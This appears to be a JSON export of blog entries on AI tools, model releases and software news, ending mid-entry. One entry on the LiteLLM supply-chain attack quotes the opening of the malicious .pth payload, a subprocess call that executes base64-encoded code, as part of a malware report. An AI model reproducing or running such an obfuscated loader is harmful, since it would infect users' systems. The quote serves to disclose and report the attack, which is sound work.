row_to_json() demo

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  "slug": "matthew-yglesias",
  "quotation": "Five months in, I think I've decided that I don't want to vibecode \u2014 I want professionally managed software companies to use AI coding assistance to make more/better/cheaper software products that they sell to me for money.",
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  "link_url": "https://ichard26.github.io/blog/2026/04/whats-new-in-pip-26.1/",
  "link_title": "What's new in pip 26.1 - lockfiles and dependency cooldowns!",
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  "commentary": "Richard Si describes an excellent set of upgrades to Python's default `pip` tool for installing dependencies.\r\n\r\nThis version drops support for Python 3.9 - fair enough, since it's been EOL [since October](https://devguide.python.org/versions/). macOS still ships with `python3` as a default Python 3.9, so I tried out the new Python version against Python 3.14 like this:\r\n\r\n\tuv python install 3.14\r\n\tmkdir /tmp/experiment\r\n\tcd /tmp/experiment\r\n\tpython3.14 -m venv venv\r\n\tsource venv/bin/activate\r\n\tpip install -U pip\r\n\tpip --version\r\n\r\n This confirmed I had `pip 26.1` - then I tried out the new lock files:\r\n\r\n\tpip lock datasette llm\r\n\r\nThis installs Datasette and LLM and all of their dependencies and writes the whole lot to a 519 line `pylock.toml` file - [here's the result](https://gist.github.com/simonw/ff52c33f4d3a381b8e53c6a3aa0213f8).\r\n\r\nThe new release also supports dependency cooldowns, [discussed here previously](https://simonwillison.net/2026/Mar/24/package-managers-need-to-cool-down/), via the new `--uploaded-prior-to PXD` option where X is a number of days. The format is `P-number-of-days-D`, following [ISO duration format](https://en.wikipedia.org/wiki/ISO_8601#Durations) but only supporting days.\r\n\r\nI shipped a new release of LLM, version 0.31, [three days ago](https://simonwillison.net/2026/Apr/24/llm/). Here's how to use the new `--uploaded-prior-to P4D` option to ask for a version that is at least 4 days old.\r\n\r\n    pip install llm --uploaded-prior-to P4D\r\n    venv/bin/llm --version\r\n\r\nThis gave me version 0.30.",
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  "slug": "talkie",
  "link_url": "https://talkie-lm.com/introducing-talkie",
  "link_title": "Introducing talkie: a 13B vintage language model from 1930",
  "via_url": "https://news.ycombinator.com/item?id=47927903",
  "via_title": "Hacker News",
  "commentary": "New project from [Nick Levine](https://nlevine.org), [David Duvenaud](http://www.cs.toronto.edu/~duvenaud/), and [Alec Radford](https://en.wikipedia.org/wiki/Alec_Radford) (of GPT, GPT-2, Whisper fame).\r\n\r\n[talkie-1930-13b-base](https://huggingface.co/talkie-lm/talkie-1930-13b-base) (53.1 GB) is a \"13B language model trained on 260B tokens of historical pre-1931 English text\". \r\n\r\n[talkie-1930-13b-it](https://huggingface.co/talkie-lm/talkie-1930-13b-it) (26.6 GB) is a checkpoint \"finetuned using a novel dataset of instruction-response pairs extracted from pre-1931 reference works\", designed to power a chat interface. You can [try that out here](https://talkie-lm.com/chat).\r\n\r\nBoth models are Apache 2.0 licensed. Since the training data for the base model is entirely out of copyright (the USA copyright cutoff date is currently January 1, 1931), I'm hoping they later decide to release the training data as well.\r\n\r\n*Update* on that: [Nick Levine on Twitter](https://twitter.com/status_effects/status/2049065134014726301):\r\n\r\n> Will publish more on the corpus in the future (and do our best to share the data or at least scripts to reproduce it).\r\n\r\nTheir report suggests some fascinating research objectives for this class of model, including:\r\n\r\n- How good are these models at predicting the future? \"we calculated the surprisingness of short descriptions of historical events to a 13B model trained on pre-1931 text\"\r\n- Can these models invent things that are past their knowledge cutoffs? \"As Demis Hassabis has asked, could a model trained up to 1911 independently discover General Relativity, as Einstein did in 1915?\"\r\n- Can they be taught to program? \"Figure 3 (left-hand side) shows an early example of such a test, measuring how well models trained on pre-1931 text can, when given a few demonstration examples of\u00a0[Python programs](https://github.com/openai/human-eval), write new correct programs.\"\r\n\r\nI have a long-running interest in what I call \"vegan models\" - LLMs that are trained entirely on licensed or out-of-copyright data. I think the base model here qualifies, but the chat model isn't entirely pure due to the reliance on non-vegan models to help with the fine-tuning - emphasis mine:\r\n\r\n> First, we generated instruction-response pairs from historical texts with regular structure, such as etiquette manuals, letter-writing manuals, cookbooks, dictionaries, encyclopedias, and poetry and fable collections (see Figure 7), and fine-tuned our base model on them using a simple chat format.\r\n> \r\n> Next, to improve instruction-following abilities, we generated synthetic prompts covering different types of tasks, such as summarizing documents, responding to direct information requests, and continuing multi-turn conversations coherently. We then ran online direct preference optimization on rollouts generated from these prompts, **using Claude Sonnet 4.6 as a judge**. [...]\r\n> \r\n> Finally, we did another round of supervised fine-tuning, this time on rejection-sampled **multi-turn synthetic chats between Claude Opus 4.6 and talkie**, to smooth out persistent rough edges in its conversational abilities.\r\n\r\nA major challenge in training talkie was avoiding accidental contamination, either from post-1931 text that snuck into the training corpus or from the fine-tuning assistance from modern LLMs introducing anachronistic knowledge to the chat model. \r\n\r\nI recently [wrote about Mr. Chatterbox](https://simonwillison.net/2026/Mar/30/mr-chatterbox/), a similar vintage language model project which also had to turn to modern LLMs to create synthetic conversations to help train the chat model.\r\n\r\nThe talkie team aspire to eventually move beyond this limitation:\r\n\r\n> While we have tried to post-train talkie free from modern influence, reinforcement learning with AI feedback inevitably shapes talkie\u2019s behavior anachronistically. (The 7B version of talkie emerged from RL speaking in listicles.) As we scale up, we hope to be able to use our vintage base models themselves as judges to enable a fully bootstrapped era-appropriate post-training pipeline.\r\n\r\nI couldn't resist hitting the talkie demo with my classic test prompt:\r\n\r\n> `Generate an SVG of a pelican riding a bicycle`\r\n\r\nIt replied:\r\n\r\n> An SVG of a pelican riding a bicycle was generated in 1860. The pelican was represented as perched on the saddle, with its long bill pointed forward, and its legs astride the handles. The idea was suggested by the fact that pelicans are sometimes seen fishing on horseback, on the banks of the Rhine.",
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  "quotation": "Since GPT-5.4, we\u2019ve unified Codex and the main model into a single system, so there\u2019s no separate coding line anymore.\r\n\r\nGPT-5.5 takes this further, with strong gains in agentic coding, computer use, and any task on a computer.",
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  "link_title": "The people do not yearn for automation",
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  "commentary": "It turns out the high volume of complaints that Claude Code was providing worse quality results over the past two months was grounded in real problems.\r\n\r\nThe models themselves were not to blame, but three separate issues in the Claude Code harness caused complex but material problems which directly affected users.\r\n\r\nAnthropic's postmortem describes these in detail. This one in particular stood out to me:\r\n\r\n> On March 26, we shipped a change to clear Claude's older thinking from sessions that had been idle for over an hour, to reduce latency when users resumed those sessions. A bug caused this to keep happening every turn for the rest of the session instead of just once, which made Claude seem forgetful and repetitive.\r\n\r\nI *frequently* have Claude Code sessions which I leave for an hour (or often a day or longer) before returning to them. Right now I have 11 of those (according to `ps aux\u00a0 | grep 'claude '`) and that's after closing down dozens more the other day.\r\n\r\nI estimate I spend more time prompting in these \"stale\" sessions than sessions that I've recently started!\r\n\r\nIf you're building agentic systems it's worth reading this article in detail - the kinds of bugs that affect harnesses are deeply complicated, even if you put aside the inherent non-deterministic nature of the models themselves.",
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  "quotation": "As part of our continued collaboration with Anthropic, we had the opportunity to apply an early version of Claude Mythos Preview to Firefox. This week\u2019s release of Firefox 150 includes fixes for [271 vulnerabilities](https://www.mozilla.org/en-US/security/advisories/mfsa2026-30/) identified during this initial evaluation. [...]\r\n\r\nOur experience is a hopeful one for teams who shake off the vertigo and get to work. You may need to reprioritize everything else to bring relentless and single-minded focus to the task, but there is light at the end of the tunnel. We are extremely proud of how our team rose to meet this challenge, and others will too. Our work isn\u2019t finished, but we\u2019ve turned the corner and can glimpse a future much better than just keeping up. **Defenders finally have a chance to win, decisively**.",
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  "slug": "changes-to-github-copilot",
  "link_url": "https://github.blog/news-insights/company-news/changes-to-github-copilot-individual-plans/",
  "link_title": "Changes to GitHub Copilot Individual plans",
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  "commentary": "On the same day as Claude Code's temporary will-they-won't-they $100/month kerfuffle (for the moment, [they won't](https://simonwillison.net/2026/Apr/22/claude-code-confusion/#they-reversed-it)), here's the latest on GitHub Copilot pricing.\r\n\r\nUnlike Anthropic, GitHub put up an official announcement about their changes, which include tightening usage limits, pausing signups for individual plans (!), restricting Claude Opus 4.7 to the more expensive $39/month \"Pro+\" plan, and dropping the previous Opus models entirely.\r\n\r\nThe key paragraph:\r\n\r\n> Agentic workflows have fundamentally changed Copilot\u2019s compute demands. Long-running, parallelized sessions now regularly consume far more resources than the original plan structure was built to support. As Copilot\u2019s agentic capabilities have expanded rapidly, agents are doing more work, and more customers are hitting usage limits designed to maintain service reliability.\r\n\r\nIt's easy to forget that just six months ago heavy LLM users were burning an order of magnitude less tokens. Coding agents consume a *lot* of compute.\r\n\r\nCopilot was also unique (I believe) among agents in charging per-request, not per-token. (*Correction: Windsurf also operated a credit system like this which they [abandoned last month](https://windsurf.com/blog/windsurf-pricing-plans)*.) This means that single agentic requests which burn more tokens cut directly into their margins. The most recent pricing scheme addresses that with token-based usage limits on a per-session and weekly basis.\r\n\r\nMy one problem with this announcement is that it doesn't clearly clarify *which* product called \"GitHub Copilot\" is affected by these changes. Last month in [How many products does Microsoft have named 'Copilot'? I mapped every one](https://teybannerman.com/strategy/2026/03/31/how-many-microsoft-copilot-are-there.html) Tey Bannerman identified 75 products that share the Copilot brand, 15 of which have \"GitHub Copilot\" in the title.\r\n\r\nJudging by the linked [GitHub Copilot plans page](https://github.com/features/copilot/plans) this covers Copilot CLI, Copilot cloud agent and code review (features on [GitHub.com](https://github.com/) itself), and the Copilot IDE features available in VS Code, Zed, JetBrains and more.",
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  "quotation": "AI agents are already too human. Not in the romantic sense, not because they love or fear or dream, but in the more banal and frustrating one. The current implementations keep showing their human origin again and again: lack of stringency, lack of patience, lack of focus. Faced with an awkward task, they drift towards the familiar. Faced with hard constraints, they start negotiating with reality.",
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  "slug": "claude-token-counts",
  "link_url": "https://tools.simonwillison.net/claude-token-counter",
  "link_title": "Claude Token Counter, now with model comparisons",
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  "commentary": "I [upgraded](https://github.com/simonw/tools/pull/269) my Claude Token Counter tool to add the ability to run the same count against different models in order to compare them.\r\n\r\nAs far as I can tell Claude Opus 4.7 is the first model to change the tokenizer, so it's only worth running comparisons between 4.7 and 4.6. The Claude [token counting API](https://platform.claude.com/docs/en/build-with-claude/token-counting) accepts any Claude model ID though so I've included options for all four of the notable current models (Opus 4.7 and 4.6, Sonnet 4.6, and Haiku 4.5).\r\n\r\nIn the Opus 4.7 announcement [Anthropic said](https://www.anthropic.com/news/claude-opus-4-7#migrating-from-opus-46-to-opus-47):\r\n\r\n> Opus 4.7 uses an updated tokenizer that improves how the model processes text. The tradeoff is that the same input can map to more tokens\u2014roughly 1.0\u20131.35\u00d7 depending on the content type.\r\n\r\nI pasted the [Opus 4.7 system prompt](https://github.com/simonw/research/blob/2cf912666ba08ef0c00a1b51ee07c9a8e64579ef/extract-system-prompts/claude-opus-4-7.md?plain=1) into the token counting tool and found that the Opus 4.7 tokenizer used 1.46x the number of tokens as Opus 4.6.\r\n\r\n![Screenshot of a token comparison tool. Models to compare: claude-opus-4-7 (checked), claude-opus-4-6 (checked), claude-opus-4-5, claude-sonnet-4-6, claude-haiku-4-5. Note: \"These models share the same tokenizer\". Blue \"Count Tokens\" button. Results table \u2014 Model | Tokens | vs. lowest. claude-opus-4-7: 7,335 tokens, 1.46x (yellow badge). claude-opus-4-6: 5,039 tokens, 1.00x (green badge).](https://static.simonwillison.net/static/2026/claude-token-count.jpg)\r\n\r\nOpus 4.7 uses the same pricing is Opus 4.6 - $5 per million input tokens and $25 per million output tokens - but this token inflation means we can expect it to be around 40% more expensive.\r\n\r\nThe token counter tool also accepts images. Opus 4.7 has improved image support, described like this:\r\n\r\n> Opus 4.7 has better vision for high-resolution images: it can accept images up to 2,576 pixels on the long edge (~3.75 megapixels), more than three times as many as prior Claude models.\r\n\r\nI tried counting tokens for a 3456x2234 pixel 3.7MB PNG and got an even bigger increase in token counts - 3.01x times the number of tokens for 4.7 compared to 4.6:\r\n\r\n![Same UI, this time with an uploaded screenshot PNG image. claude-opus-4-7: 4,744 tokens, 3.01x (yellow badge). claude-opus-4-6: 1,578 tokens, 1.00x (green badge).](https://static.simonwillison.net/static/2026/claude-token-count-image.jpg)\r\n\r\n**Update**: That 3x increase for images is *entirely* due to Opus 4.7 being able to handle higher resolutions. I tried that again with a 682x318 pixel image and it took 314 tokens with Opus 4.7 and 310 with Opus 4.6, so effectively the same cost.\r\n\r\n**Update 2**: I tried a 15MB, 30 page text-heavy PDF and Opus 4.7 reported 60,934\ttokens while 4.6 reported 56,482 - that's a 1.08x multiplier, significantly lower than the multiplier I got for raw text.",
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  "id": 9416,
  "slug": "headless-everything",
  "link_url": "https://interconnected.org/home/2026/04/18/headless",
  "link_title": "Headless everything for personal AI",
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  "commentary": "Matt Webb thinks **headless** services are about to become much more common:\r\n\r\n> Why? Because using personal AIs is a better experience for users than using services directly (honestly); and headless services are quicker and more dependable for the personal AIs than having them click round a GUI with a bot-controlled mouse.\r\n\r\nEvidently [Marc Benioff thinks so too](https://twitter.com/benioff/status/2044981547267395620):\r\n\r\n> Welcome Salesforce Headless 360: No Browser Required!  Our API is the UI. Entire Salesforce & Agentforce & Slack platforms are now exposed as APIs, MCP, & CLI. All AI agents can access data, workflows, and tasks directly in Slack, Voice, or anywhere else with Salesforce Headless.\r\n\r\nIf this model does take off it's going to play havoc with existing per-head SaaS pricing schemes.\r\n\r\nI'm reminded of the early 2010s era when every online service was launching APIs. Brandur Leach reminisces about that time in [The Second Wave of the API-first Economy](https://brandur.org/second-wave-api-first), and predicts that APIs are ready to make a comeback:\r\n\r\n> Suddenly, an API is no longer liability, but a major saleable vector to give users what they want: a way into the services they use and pay for so that an agent can carry out work on their behalf. Especially given a field of relatively undifferentiated products, in the near future the availability of an API might just be the crucial deciding factor that leads to one choice winning the field.",
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  "quotation": "I think we will see some people employed (though perhaps not explicitly) as *meat shields*: people who are accountable for ML systems under their supervision. The accountability may be purely internal, as when Meta hires human beings to review the decisions of automated moderation systems. It may be external, as when lawyers are penalized for submitting LLM lies to the court. It may involve formalized responsibility, like a Data Protection Officer. It may be convenient for a company to have third-party subcontractors, like Buscaglia, who can be thrown under the bus when the system as a whole misbehaves.",
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  "commentary": "Zig has *really good* release notes - comprehensive, detailed, and with relevant usage examples for each of the new features.\r\n\r\nOf particular note in the newly released Zig 0.16.0 is what they are calling \"Juicy Main\" - a dependency injection feature for your program's `main()` function where accepting a `process.Init` parameter grants access to a struct of useful properties:\r\n\r\n<div class=\"highlight highlight-source-zig\"><pre><span class=\"pl-k\">const</span> <span class=\"pl-v\">std</span> <span class=\"pl-k\">=</span> <span class=\"pl-k\">@import</span>(<span class=\"pl-s\">\"std\"</span>);\r\n\r\n<span class=\"pl-k\">pub</span> <span class=\"pl-k\">fn</span> <span class=\"pl-en\">main</span>(<span class=\"pl-v\">init</span>: <span class=\"pl-k\">std.process.Init</span>) <span class=\"pl-k\">!</span><span class=\"pl-k\">void</span> {\r\n    <span class=\"pl-c\">/// general purpose allocator for temporary heap allocations:</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">gpa</span> <span class=\"pl-k\">=</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">gpa</span>;\r\n    <span class=\"pl-c\">/// default Io implementation:</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">io</span> <span class=\"pl-k\">=</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">io</span>;\r\n    <span class=\"pl-c\">/// access to environment variables:</span>\r\n    <span class=\"pl-v\">std</span>.<span class=\"pl-v\">log</span>.<span class=\"pl-v\">info</span>(<span class=\"pl-s\">\"{d} env vars\"</span>, .{<span class=\"pl-v\">init</span>.<span class=\"pl-v\">environ_map</span>.<span class=\"pl-v\">count</span>()});\r\n    <span class=\"pl-c\">/// access to CLI arguments</span>\r\n    <span class=\"pl-k\">const</span> <span class=\"pl-v\">args</span> <span class=\"pl-k\">=</span> <span class=\"pl-k\">try</span> <span class=\"pl-v\">init</span>.<span class=\"pl-v\">minimal</span>.<span class=\"pl-v\">args</span>.<span class=\"pl-v\">toSlice</span>(\r\n        <span class=\"pl-v\">init</span>.<span class=\"pl-v\">arena</span>.<span class=\"pl-v\">allocator</span>()\r\n    );\r\n}</pre></div>",
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  "quotation": "I have a feeling that **everyone likes using AI tools to try doing someone else\u2019s profession**. They\u2019re much less keen when someone else uses it for their profession.",
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The pelican is a perky little fella.](https://static.simonwillison.net/static/2026/glm-5.1-pelican.png)\r\n\r\nBut the animation [broke it](https://gisthost.github.io/?73bb6808b18c2482f66e5f082c75f36e):\r\n\r\n![Animation - the wheels and pedals rotate, the clouds move... and the pelican has vanished, but there is a little blob bobbing up and down in the top left corner.](https://static.simonwillison.net/static/2026/glm-5.1-broken-light-lossy.gif)\r\n\r\nThat's the pelican, floating up in the top left corner.\r\n\r\nI usually don't do follow-up prompts for the pelican test, but in this case I made an exception:\r\n\r\n    llm -c 'the animation is a bit broken, the pelican ends up positioned off the screen at the top right'\r\n\r\nGLM 5.1 replied:\r\n\r\n> The issue is that CSS `transform` animations on SVG elements override the SVG `transform` attribute used for positioning, causing the pelican to lose its placement and fly off to the top-right. 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  "commentary": "Lalit Maganti provides one of my favorite pieces of long-form writing on agentic engineering I've seen in ages.\r\n\r\nThey spent eight years thinking about and then three months building [syntaqlite](https://github.com/lalitMaganti/syntaqlite), which they describe as \"[high-fidelity devtools that SQLite deserves](https://lalitm.com/post/syntaqlite/)\".\r\n\r\nThe goal was to provide fast, robust and comprehensive linting and verifying tools for SQLite, suitable for use in language servers and other development tools - a parser, formatter, and verifier for SQLite queries. I've found myself wanting this kind of thing in the past myself, hence my (far less production-ready) [sqlite-ast](https://simonwillison.net/2026/Jan/30/sqlite-ast-2/) project from a few months ago.\r\n\r\nLalit had been procrastinating on this project for years, because of the inevitable tedium of needing to work through 400+ grammar rules to help build a parser. That's exactly the kind of tedious work that coding agents excel at!\r\n\r\nClaude Code helped get over that initial hump and build the first prototype:\r\n\r\n> AI basically let me put aside all my doubts on technical calls, my uncertainty of building the right thing and my reluctance to get started by giving me very concrete problems to work on. Instead of \u201cI need to understand how SQLite\u2019s parsing works\u201d, it was \u201cI need to get AI to suggest an approach for me so I can tear it up and build something better\". I work so much better with concrete prototypes to play with and code to look at than endlessly thinking about designs in my head, and AI lets me get to that point at a pace I could not have dreamed about before. Once I took the first step, every step after that was so much easier.\r\n\r\nThat first vibe-coded prototype worked great as a proof of concept, but they eventually made the decision to throw it away and start again from scratch. AI worked great for the low level details but did not produce a coherent high-level architecture:\r\n\r\n> I found that AI made me procrastinate on key design decisions. Because refactoring was cheap, I could always say \u201cI\u2019ll deal with this later.\u201d And because AI could refactor at the same industrial scale it generated code, the cost of deferring felt low. But it wasn\u2019t: deferring decisions corroded my ability to think clearly because the codebase stayed confusing in the meantime.\r\n\r\nThe second attempt took a lot longer and involved a great deal more human-in-the-loop decision making, but the result is a robust library that can stand the test of time.\r\n\r\nIt's worth setting aside some time to read this whole thing - it's full of non-obvious downsides to working heavily with AI, as well as a detailed explanation of how they overcame those hurdles.\r\n\r\nThe key idea I took away from this concerns AI's weakness in terms of design and architecture:\r\n\r\n> When I was working on something where I didn\u2019t even know what I wanted, AI was somewhere between unhelpful and harmful. The architecture of the project was the clearest case: I spent weeks in the early days following AI down dead ends, exploring designs that felt productive in the moment but collapsed under scrutiny. In hindsight, I have to wonder if it would have been faster just thinking it through without AI in the loop at all.\r\n>\r\n> But expertise alone isn\u2019t enough. Even when I understood a problem deeply, AI still struggled if the task had no objectively checkable answer. Implementation has a right answer, at least at a local level: the code compiles, the tests pass, the output matches what you asked for. Design doesn\u2019t. We\u2019re still arguing about OOP decades after it first took off.",
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  "quotation": "From anonymized U.S. ChatGPT data, we are seeing:\r\n\r\n- ~2M weekly messages on health insurance\r\n- ~600K weekly messages [classified as healthcare] from people living in \u201chospital deserts\u201d (30 min drive to nearest hospital)\r\n- 7 out of 10 msgs happen outside clinic hours",
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  "link_url": "https://newsletter.maartengrootendorst.com/p/a-visual-guide-to-gemma-4",
  "link_title": "A visual guide to Gemma 4",
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  "commentary": "Maarten Grootendorst joined Google DeepMind two months ago and has been working on the Gemma 4 release.",
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  "quotation": "[GitHub] platform activity is surging. There were 1 billion commits in 2025. Now, it's 275 million per week, on pace for 14 billion this year if growth remains linear (spoiler: it won't.)\r\n\r\nGitHub Actions has grown from 500M minutes/week in 2023 to 1B minutes/week in 2025, and now 2.1B minutes so far this week.",
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  "link_url": "https://sockpuppet.org/blog/2026/03/30/vulnerability-research-is-cooked/",
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  "commentary": "Thomas Ptacek's take on the sudden and enormous impact the latest frontier models are having on the field of vulnerability research.\r\n\r\n> Within the next few months, coding agents will drastically alter both the practice and the economics of exploit development. Frontier model improvement won\u2019t be a slow burn, but rather a step function. Substantial amounts of high-impact vulnerability research (maybe even most of it) will happen simply by pointing an agent at a source tree and typing \u201cfind me zero days\u201d.\r\n\r\nWhy are agents so good at this? A combination of baked-in knowledge, pattern matching ability and brute force:\r\n\r\n> You can't design a better problem for an LLM agent than exploitation research.\r\n>\r\n> Before you feed it a single token of context, a frontier LLM already encodes supernatural amounts of correlation across vast bodies of source code. Is the Linux KVM hypervisor connected to the\u00a0`hrtimer`\u00a0subsystem,\u00a0`workqueue`, or\u00a0`perf_event`? The model knows.\r\n>\r\n> Also baked into those model weights: the complete library of documented \"bug classes\" on which all exploit development builds: stale pointers, integer mishandling, type confusion, allocator grooming, and all the known ways of promoting a wild write to a controlled 64-bit read/write in Firefox.\r\n>\r\n> Vulnerabilities are found by pattern-matching bug classes and constraint-solving for reachability and exploitability. Precisely the implicit search problems that LLMs are most gifted at solving. Exploit outcomes are straightforwardly testable success/failure trials. An agent never gets bored and will search forever if you tell it to.\r\n\r\nThe article was partly inspired by [this episode of the Security Cryptography Whatever podcast](https://securitycryptographywhatever.com/2026/03/25/ai-bug-finding/), where David Adrian, Deirdre Connolly, and Thomas interviewed Anthropic's Nicholas Carlini for 1 hour 16 minutes.\r\n\r\nI just started a new tag here for [ai-security-research](https://simonwillison.net/tags/ai-security-research/) - it's up to 11 posts already.",
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  "quotation": "On the kernel security list we've seen a huge bump of reports. We were between 2 and 3 per week maybe two years ago, then reached probably 10 a week over the last year with the only difference being only AI slop, and now since the beginning of the year we're around 5-10 per day depending on the days (fridays and tuesdays seem the worst). Now most of these reports are correct, to the point that we had to bring in more maintainers to help us.\r\n\r\nAnd we're now seeing on a daily basis something that never happened before: duplicate reports, or the same bug found by two different people using (possibly slightly) different tools.",
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  "quotation": "The challenge with AI in open source security has transitioned from an AI slop tsunami into more of a ... plain security report tsunami. Less slop but lots of reports. Many of them really good.\r\n\r\nI'm spending hours per day on this now. It's intense.",
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  "link_title": "Gemma 4: Byte for byte, the most capable open models",
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  "link_title": "Supply Chain Attack on Axios Pulls Malicious Dependency from npm",
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  "quotation": "The thing about agentic coding is that agents grind problems into dust. Give an agent a problem and a while loop and - long term - it\u2019ll solve that problem even if it means burning a trillion tokens and re-writing down to the silicon. [...]\r\n\r\nBut we want AI agents to solve coding problems quickly and in a way that is maintainable and adaptive and composable (benefiting from improvements elsewhere), and where every addition makes the whole stack better.\r\n\r\nSo at the bottom is really great libraries that encapsulate hard problems, with great interfaces that make the \u201cright\u201d way the easy way for developers building apps with them. Architecture!\r\n\r\nWhile I\u2019m vibing (I call it vibing now, not coding and not vibe coding) while I\u2019m vibing, I am looking at lines of code less than ever before, and thinking about architecture more than ever before.",
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  "commentary": "Bit of a hyperbolic framing but this looks like another case study of **vibe porting**, this time spinning up a new custom Go implementation of the [JSONata](https://jsonata.org) JSON expression language - similar in focus to jq, and heavily associated with the [Node-RED](https://nodered.org) platform.\r\n\r\nAs with other vibe-porting projects the key enabling factor was JSONata's existing test suite, which helped build the first working Go version in 7 hours and $400 of token spend.\r\n\r\nThe Reco team then used a shadow deployment for a week to run the new and old versions in parallel to confirm the new implementation exactly matched the behavior of the old one.",
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  "commentary": "Callum McMahon reported the [LiteLLM malware attack](https://simonwillison.net/2026/Mar/24/malicious-litellm/) to PyPI. Here he shares the Claude transcripts he used to help him confirm the vulnerability and decide what to do about it. Claude even suggested the PyPI security contact address after confirming the malicious code in a Docker container:\r\n\r\n> **Confirmed**. Fresh download from PyPI right now in an isolated Docker container:\r\n>\r\n>     Inspecting: litellm-1.82.8-py3-none-any.whl\r\n>     FOUND: litellm_init.pth\r\n>     SIZE: 34628 bytes\r\n>     FIRST 200 CHARS:\r\n>     import os, subprocess, sys; subprocess.Popen([sys.executable, \"-c\", \"import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxl...\r\n> \r\n> The malicious `litellm==1.82.8` is **live on PyPI right now** and anyone installing or upgrading litellm will be infected. This needs to be reported to security@pypi.org immediately.\r\n\r\nI was chuffed to see Callum use my [claude-code-transcripts](https://github.com/simonw/claude-code-transcripts) tool to publish the transcript of the conversation.",
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  "link_url": "https://news.ycombinator.com/item?id=47517539",
  "link_title": "Thoughts on slowing the fuck down",
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  "commentary": "Mario Zechner created the [Pi agent framework](https://github.com/badlogic/pi-mono) used by OpenClaw, giving considerable credibility to his opinions on current trends in agentic engineering. He's not impressed:\r\n\r\n> We have basically given up all discipline and agency for a sort of addiction, where your highest goal is to produce the largest amount of code in the shortest amount of time. Consequences be damned.\r\n\r\nAgents and humans both make mistakes, but agent mistakes accumulate much faster:\r\n\r\n> A human is a bottleneck. A human cannot shit out 20,000 lines of code in a few hours. Even if the human creates such booboos at high frequency, there's only so many booboos the human can introduce in a codebase per day. [...]\r\n>\r\n> With an orchestrated army of agents, there is no bottleneck, no human pain. These tiny little harmless booboos suddenly compound at a rate that's unsustainable. You have removed yourself from the loop, so you don't even know that all the innocent booboos have formed a monster of a codebase. You only feel the pain when it's too late. [...]\r\n>\r\n> You have zero fucking idea what's going on because you delegated all your agency to your agents. You let them run free, and they are merchants of complexity.\r\n\r\nI think Mario is exactly right about this. Agents let us move *so much faster*, but this speed also means that changes which we would normally have considered over the course of weeks are landing in a matter of hours.\r\n\r\nIt's so easy to let the codebase evolve outside of our abilities to reason clearly about it. [Cognitive debt](https://simonwillison.net/tags/cognitive-debt/) is real.\r\n\r\nMario recommends slowing down:\r\n\r\n> Give yourself time to think about what you're actually building and why. Give yourself an opportunity to say, fuck no, we don't need this. Set yourself limits on how much code you let the clanker generate per day, in line with your ability to actually review the code.\r\n>\r\n> Anything that defines the gestalt of your system, that is architecture, API, and so on, write it by hand. [...]\r\n\r\nI'm not convinced writing by hand is the best way to address this, but it's absolutely the case that we need the discipline to find a new balance of speed v.s. mental thoroughness now that typing out the code is no longer anywhere close to being the bottleneck on writing software.",
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  "quotation": "slop is something that takes more human effort to consume than it took to produce. When my coworker sends me raw Gemini output he\u2019s not expressing his freedom to create, he\u2019s disrespecting the value of my time",
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  "quotation": "I have been doing this for years, and the hardest parts of the job were never about typing out code. I have always struggled most with understanding systems, debugging things that made no sense, designing architectures that wouldn't collapse under heavy load, and making decisions that would save months of pain later.\r\n\r\nNone of these problems can be solved LLMs. They can suggest code, help with boilerplate, sometimes can act as a sounding board. But they don't understand the system, they don't carry context in their \"minds\", and they certianly don't know why a decision is right or wrong.\r\n\r\nAnd the most importantly, they don't choose. That part is still yours. The real work of software development, the part that makes someone valuable, is knowing what should exist in the first place, and why.",
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  "commentary": "In [Things That Turbo Pascal is Smaller Than](https://prog21.dadgum.com/116.html) James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler.\r\n\r\nThis inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me.\r\n\r\nIt did a great job, so I had it create [this interactive artifact](https://tools.simonwillison.net/turbo-pascal-deconstructed) illustrating the result. Here's the [sequence of prompts](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) I used (in regular [claude.ai](https://claude.ai/) chat, not Claude Code):\r\n\r\n> Read this https://prog21.dadgum.com/116.html\r\n\r\n> Now find a copy of that binary online\r\n\r\n> Explore this (*I attached the zip file*)\r\n\r\n> Build an artifact - no react - that embeds the full turbo.com binary and displays it in a way that helps understand it - broke into labeled segments for different parts of the application, decompiled to visible source code (I guess assembly?) and with that assembly then reconstructed into readable code with extensive annotations\r\n\r\n![Infographic titled \"TURBO.COM\" with subtitle \"Borland Turbo Pascal 3.02A \u2014 September 17, 1986 \u2014 Deconstructed\" on a dark background. Four statistics are displayed: 39,731 TOTAL BYTES, 17 SEGMENTS MAPPED, 1 INT 21H INSTRUCTION, 100+ BUILT-IN IDENTIFIERS. Below is a \"BINARY MEMORY MAP \u2014 0X0100 TO 0X9C33\" shown as a horizontal color-coded bar chart with a legend listing 17 segments: COM Header & Copyright, Display Configuration Table, Screen I/O & Video BIOS Routines, Keyboard Input Handler, String Output & Number Formatting, DOS System Call Dispatcher, Runtime Library Core, Error Handler & Runtime Errors, File I/O System, Software Floating-Point Engine, x86 Code Generator, Startup Banner & Main Menu Loop, File Manager & Directory Browser, Compiler Driver & Status, Full-Screen Text Editor, Pascal Parser & Lexer, and Symbol Table & Built-in Identifiers.](https://static.simonwillison.net/static/2026/turbo-pascal.jpg)\r\n\r\n**Update**: Annoyingly the [Claude share link](https://claude.ai/share/260d2eed-8d4a-4b9f-8a75-727c3ec4274e) doesn't show the actual code that Claude executed, but here's [the zip file](https://static.simonwillison.net/static/2026/turbo-pascal-analysis.zip) it gave me when I asked to download all of the intermediate files.\r\n\r\nI ran Codex CLI with GPT-5.4 xhigh against that zip file to see if it would spot any obvious hallucinations, and it did not. This project is low-enough stakes that this gave me enough confidence to publish the result!\r\n\r\n<h4 id=\"hallucinated-slop\">Turns out it's hallucinated slop</h4>\r\n\r\n**Update 2**, 24th March 2026: rep_lodsb on Hacker News is someone who actually understands assembler, and they reviewed the annotations and [found them to be hallucinated slop](https://news.ycombinator.com/item?id=47471647#47501692):\r\n\r\n> [...] Obviously, there has to be a lot more to even a simple-minded x86 code generator than just a generic \"emit opcode byte\" and \"emit call\" routine. In general, what A\"I\" produced here is not a full disassembly but a collection of short 